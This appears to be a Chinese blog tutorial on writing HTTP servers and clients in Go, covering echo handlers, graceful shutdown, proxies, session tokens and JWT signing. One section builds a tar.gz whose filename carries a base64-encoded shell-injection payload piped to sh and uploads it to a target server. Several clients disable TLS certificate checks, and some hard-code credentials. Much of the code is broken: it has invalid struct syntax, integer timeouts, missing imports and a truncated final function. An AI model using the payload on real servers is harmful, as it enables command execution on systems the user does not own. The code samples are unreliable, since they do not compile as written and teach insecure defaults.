联系我们
简单又实用的WordPress网站制作教学
当前位置:网站首页 > 程序开发学习 > 正文

用go实现http服务端和请求端

作者:小教学发布时间:2023-10-01分类:程序开发学习浏览:75


导读:一、概述    本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。二、代码实现2.1构造http服务端1、ht...

一、概述

        本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。

二、代码实现

2.1 构造http服务端

1、http服务处理流程

基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。 

  • 使用http.HandleFunc实现http服务,返回hello world
package main

import (
   "fmt"
   "net/http"
)

func HelloHandler(w http.ResponseWriter, r *http.Request) {
   fmt.Fprintf(w, "Hello World")
}

func main () {
   http.HandleFunc("/", HelloHandler)
   http.ListenAndServe(":8000", nil)
}
  • 使用http.Handle实现http服务
package main

import (
   "fmt"
   "net/http"
)

type HelloHandlerStruct struct {
   content string
}

//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {
   fmt.Fprintf(w, handler.content)
}

func main()  {
   http.Handle("/", &HelloHandlerStruct{content: "Hello World"})
   http.ListenAndServe(":8000", nil)
}
  • 优雅的关闭http服务
package main

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/signal"
	"syscall"
	"time"
)

type EchoHandler struct{}

func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {
	// 设置响应头
	writer.Header().Add("X-Data", "foo")

	// 设置相应的cookie
	http.SetCookie(writer, &http.Cookie{
		Name:   "x-cookie",
		Value:  "bar",
		MaxAge: 86400,
		Secure: true,
	})
	//设置响应状态码为200
	writer.WriteHeader(200)

	// 设置响应体,打印网络请求信息
	fmt.Fprintln(writer, "===== Network =====")
	fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)
	fmt.Fprintln(writer)

	// 设置响应体,打印请求方法 url host 协议信息
	fmt.Fprintln(writer, "===== Request Line =====")
	fmt.Fprintln(writer, "Method: ", request.Method)
	fmt.Fprintln(writer, "URL: ", request.URL)
	fmt.Fprintln(writer, "Host: ", request.Host)
	//fmt.Fprintln(writer, "URI: ", request.RequestURI)
	fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,
		request.ProtoMajor, request.ProtoMinor)
	fmt.Fprintln(writer)

	// 设置输出请求的请求头
	fmt.Fprintln(writer, "===== Header =====")
	for k, v := range request.Header {
		fmt.Fprintf(writer, "%v: %v\n", k, v)
	}
	fmt.Fprintln(writer)

	// 设置输出请求的body
	body, err := ioutil.ReadAll(request.Body)
	if err == nil && len(body) > 0 {
		fmt.Fprintln(writer, "===== Raw Body =====")
		fmt.Fprintln(writer, string(body))
	}
}

func main() {
	// 创建系统信号接收器
	done := make(chan os.Signal)
	signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)

	// 创建 HTTP 服务器
	server := &http.Server{
		Addr:    ":8000",
		Handler: EchoHandler{},
	}

	// 启动 HTTP 服务器
	go func() {
		log.Println("Server starting...")
		if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
			log.Fatalf("ListenAndServe: %v", err)
		}
	}()

	// 监听系统信号并执行关闭操作
	<-done
	log.Println("Server shutting down...")

	// 创建一个超时上下文,确保关闭操作不会无限期等待
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()

	if err := server.Shutdown(ctx); err != nil {
		log.Fatal("Shutdown server:", err)
	}

	log.Println("Server gracefully stopped")
}

2.2 构建http客户端

1、基本介绍及使用

net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)

基本的代码实现:

package main

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"net/http"
)

func main() {
	// 目标 URL
	baseUrl := "http://localhost"

	// 执行 GET 请求
	doGet(baseUrl + "/gettest")

	// 执行 POST 请求
	doPost(baseUrl + "/posttest")

	// 执行 POST Form 请求
	doPostForm(baseUrl + "/postform")
}

func doGet(url string) {
	response, err := http.Get(url)
	if err != nil {
		fmt.Println("GET request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("GET Response:")
	fmt.Println(string(body))
}

func doPost(url string) {
	// 准备 POST 请求的 JSON 数据
	jsonPayload := []byte(`{"key": "value"}`)

	response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))
	if err != nil {
		fmt.Println("POST request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("POST Response:")
	fmt.Println(string(body))
}

func doPostForm(url string) {
	// 准备 POST Form 数据
	data := url.Values{}
	data.Add("name", "Alice")
	data.Add("age", "30")

	response, err := http.PostForm(url, data)
	if err != nil {
		fmt.Println("POST Form request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("POST Form Response:")
	fmt.Println(string(body))
}

2、自定义请求头,以及绕过https验证

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // 自定义请求头
    headers := map[string]string{
        "User-Agent": "Your Custom User-Agent",
        "Host":       "example.com", // 自定义 Host
    }

    // 目标 URL
    targetURL := "https://example.com" // 替换为你的目标 URL

    // 创建自定义 Transport
    tr := &http.Transport{
        TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
        TLSHandshakeTimeout:   5,                         // 超时时间(秒)
        DisableKeepAlives:     true,                     // 禁用连接复用
        IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)
        MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
        ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)
    }

    // 创建自定义客户端
    client := &http.Client{
        Transport: tr,
    }

    // 发送 GET 请求
    response, err := client.Get(targetURL)
    if err != nil {
        fmt.Println("GET request failed:", err)
        return
    }
    defer response.Body.Close()

    // 读取响应内容
    body := make([]byte, 1024)
    n, err := response.Body.Read(body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }

    // 输出响应内容
    fmt.Println("Response:")
    fmt.Println(string(body[:n]))
}

3、实现登录后会话保持以及自定义请求头

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // 自定义请求头
    headers := map[string]string{
        "User-Agent": "Your Custom User-Agent",
        "Host":       "example.com", // 自定义 Host
    }

    // 目标 URL
    baseURL := "https://example.com" // 替换为你的目标 URL
    loginURL := baseURL + "/login"   // 登录 URL
    securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL

    // 准备登录请求的数据
    loginData := url.Values{
        "user": {"admin"},
        "pass": {"123456"},
    }

    // 创建自定义 Transport
    tr := &http.Transport{
        TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
        TLSHandshakeTimeout:   5,                         // 超时时间(秒)
        DisableKeepAlives:     true,                     // 禁用连接复用
        IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)
        MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
        ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)
    }

    // 创建自定义客户端
    client := &http.Client{
        Transport: tr,
    }

    // 发送登录请求
    loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
    if err != nil {
        fmt.Println("Error creating login request:", err)
        return
    }

    // 设置登录请求的头部和内容类型
    loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    for key, value := range headers {
        loginRequest.Header.Set(key, value)
    }

    loginResponse, err := client.Do(loginRequest)
    if err != nil {
        fmt.Println("Login request failed:", err)
        return
    }
    defer loginResponse.Body.Close()

    // 获取登录后的 Token
    var token string
    for _, cookie := range loginResponse.Cookies() {
        if cookie.Name == "token" {
            token = cookie.Value
            break
        }
    }

    if token == "" {
        fmt.Println("Login failed. No token received.")
        return
    }

    fmt.Println("Login successful. Token:", token)

    // 在后续请求中添加 Token 到请求头
    securedRequest, err := http.NewRequest("GET", securedURL, nil)
    if err != nil {
        fmt.Println("Error creating secured request:", err)
        return
    }

    securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头
    for key, value := range headers {
        securedRequest.Header.Set(key, value)
    }

    securedResponse, err := client.Do(securedRequest)
    if err != nil {
        fmt.Println("Secured request failed:", err)
        return
    }
    defer securedResponse.Body.Close()

    // 读取并输出响应内容
    responseBody, err := ioutil.ReadAll(securedResponse.Body)
    if err != nil {
        fmt.Println("Error reading response body:", err)
        return
    }

    fmt.Println("Secured resource response:")
    fmt.Println(string(responseBody))
}

4、构造一个带特殊字符的压缩包,并且通过接口上传

package main

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "crypto/tls"
    "fmt"
    "io"
    "io/ioutil"
    "mime/multipart"
    "net/http"
    "os"
)

func main() {
    // 压缩文件内容
    tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")

    // 发送 HTTP POST 请求
    url := "https://example.com/upload" // 替换为你的目标 URL
    uploadTarGz(url, tarContent)
}

func generateTarGzContent(filename string) []byte {
    var buf bytes.Buffer
    gw := gzip.NewWriter(&buf)
    tw := tar.NewWriter(gw)

    // 添加文件到 tar 压缩包
    fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
    header := &tar.Header{
        Name: filename,
        Size: int64(len(fileContent)),
    }
    if err := tw.WriteHeader(header); err != nil {
        fmt.Println("写入 tar 头部失败:", err)
        os.Exit(1)
    }
    if _, err := tw.Write(fileContent); err != nil {
        fmt.Println("写入文件内容失败:", err)
        os.Exit(1)
    }

    // 关闭 tar 和 gzip 缓冲区
    if err := tw.Close(); err != nil {
        fmt.Println("关闭 tar 失败:", err)
        os.Exit(1)
    }
    if err := gw.Close(); err != nil {
        fmt.Println("关闭 gzip 失败:", err)
        os.Exit(1)
    }

    return buf.Bytes()
}

func uploadTarGz(url string, tarContent []byte) {
    // 创建一个 Buffer,用于构建 multipart/form-data 请求体
    var requestBody bytes.Buffer
    writer := multipart.NewWriter(&requestBody)

    // 写入 tar.gz 文件
    part, err := writer.CreateFormFile("file", "test.tar.gz")
    if err != nil {
        fmt.Println("创建表单文件失败:", err)
        os.Exit(1)
    }
    if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {
        fmt.Println("写入文件内容失败:", err)
        os.Exit(1)
    }

    // 关闭 multipart writer
    writer.Close()

    // 创建 HTTP 请求
    req, err := http.NewRequest("POST", url, &requestBody)
    if err != nil {
        fmt.Println("创建请求失败:", err)
        os.Exit(1)
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())

    // 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }

    // 使用自定义 Transport 发起请求
    client := &http.Client{Transport: tr}
    response, err := client.Do(req)
    if err != nil {
        fmt.Println("请求失败:", err)
        os.Exit(1)
    }
    defer response.Body.Close()

    // 读取响应内容
    responseBody, err := ioutil.ReadAll(response.Body)
    if err != nil {
        fmt.Println("读取响应内容失败:", err)
        os.Exit(1)
    }

    fmt.Println("响应内容:")
    fmt.Println(string(responseBody))
}

5、设置http代理

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "os"
)

func main() {
    // 创建 HTTP 客户端,并设置代理
    proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址
    if err != nil {
        fmt.Println("解析代理地址失败:", err)
        os.Exit(1)
    }

    client := &http.Client{
        Transport: &http.Transport{
            Proxy: http.ProxyURL(proxyURL),
        },
    }

    // 创建 HTTP 请求
    url := "https://example.com" // 替换为您要请求的目标 URL
    request, err := http.NewRequest("GET", url, nil)
    if err != nil {
        fmt.Println("创建请求失败:", err)
        os.Exit(1)
    }

    // 发送 HTTP 请求
    response, err := client.Do(request)
    if err != nil {
        fmt.Println("请求失败:", err)
        os.Exit(1)
    }
    defer response.Body.Close()

    // 读取响应内容
    responseBody := make([]byte, 0)
    buffer := make([]byte, 1024)
    for {
        n, err := response.Body.Read(buffer)
        if n > 0 {
            responseBody = append(responseBody, buffer[:n]...)
        }
        if err != nil {
            break
        }
    }

    fmt.Println("响应内容:")
    fmt.Println(string(responseBody))
}

6、综合实践 

// 生成jwt token
func CreateJWT(claim jwt.Claims) (string, error) {
	//读取 RSA私钥文件
	privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)
	if err != nil {
		return "", err
	}

	//解析RSA私钥
	privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)
	if err != nil {
		return "", err
	}

	//创建jwt
	token := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)

	//使用私钥进行签名
	tokenString, err := token.SignedString(privateKey)

	return tokenString, nil
}

// 验证token有效性,主要为想做成直接用解析提供的token并从中获取想要的参数,避免传入过多参数,暂时未用上
func ParseToken(tokenStr string) (interface{}, error) {
	//读取RSA公钥文件
	publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)
	if err != nil {
		return "", nil
	}

	//解析RSA 公钥
	publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)
	if err != nil {
		return "", err
	}

	//解析token
	token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {
		if token.Method != jwt.SigningMethodRS256 {
			return nil, fmt.Errorf("加密方法有误,非rsa256,而是:%v", token.Header["alg"])
		}
		return publicKey, nil
	})

	//检查解析是否成功
	if err != nil {
		return nil, err
	}

	//验证token是否有效
	if !token.Valid {
		return nil, fmt.Errorf("无效token")
	} else if claims, ok := token.Claims.(jwt.MapClaims); ok {
		//通过key获取具体的Claims值
		fmt.Println("touken有效,正在提取其中的Claims。。。。")
		return claims, nil
	} else {
		return nil, fmt.Errorf("token有效,但是无法提取Claims")
	}

}


func GetCookie(token, url string) (string, error) {
	//自定义请求头
	headers := map[string]string{
		"token":           token, //利用生成的token
		"User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36",
		"Accept":          " application/json, text/plain, */*",
		"Accept-Encoding": "gzip, deflate",
		"Content-Type":    "application/json",
		"Accept-Language": "zh-CN,zh;q=0.9",
	}

	//fmt.Println("\nurl 为", baseurl)

	//创建代理
	/* 	proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址

	   	if err != nil {
	   		fmt.Println("解析代理地址失败", err)
	   		os.Exit(1)
	   	} */
	// 创建自定义 Transport
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
		//TLSHandshakeTimeout: 10,                                    // 超时时间(秒)
		DisableKeepAlives:   true, // 禁用连接复用
		IdleConnTimeout:     30,   // 空闲连接超时时间(秒)
		MaxIdleConnsPerHost: 20,   // 每个主机的最大空闲连接数
		//ResponseHeaderTimeout: 10, // 响应头超时时间(秒)
		//Proxy: http.ProxyURL(proxyURL), //设置代理服务器
	}

	//创建自定义客户端
	client := &http.Client{
		Transport: tr,
		Timeout:   time.Second * 10, //设置请求的超时时间
	}

	//创建JSON请求体
	requestBody := map[string]interface{}{
		"username":            "123456",
		"password": "1",
	}

	//将请求体编码为 JSON格式
	jsonData, err := json.Marshal(requestBody)
	if err != nil {
		fmt.Println("JSON 编码错误", err)
		return "", err
	}

	//创建post请求
	request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
	if err != nil {
		fmt.Println("创建请求错误", err)
		return "", err
	}

	//设置请求头
	for key, value := range headers {
		request.Header.Set(key, value)
	}

	//发送POST请求
	response, err := client.Do(request)
	if err != nil {
		fmt.Println("\n请求错误:", err)
		return "", err
	}
	defer response.Body.Close()

	/* 	// 读取响应内容
	   	var responseStr string
	   	buf := new(bytes.Buffer)
	   	_, err = buf.ReadFrom(response.Body)
	   	if err != nil {
	   		return "", err
	   	}
	   	responseStr = buf.String()

	   	// 检查响应状态码
	   	if response.StatusCode != http.StatusOK {
	   		return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)
	   	}

	   	return responseStr, nil */

	//处理响应:仅针对返回body为json格式数据
	var responseBody map[string]interface{}
	decoder := json.NewDecoder(response.Body)
	if err := decoder.Decode(&responseBody); err != nil {
		fmt.Println("响应解析错误", err)
		return "", err
	}
	//输出响应
	fmt.Println("响应状态码:", response.Status)
	fmt.Println("响应数据ret:", responseBody["ret"])
	var retflag float64
	retflag = 1
	if responseBody["ret"].(float64) == retflag {
		setCookieHeaders := response.Header["Set-Cookie"]
		return setCookieHeaders[0], nil
	} else {
		return "", fmt.Errorf("错误信息:%s", responseBody["error"])
	}





程序开发学习排行
最近发表
网站分类
标签列表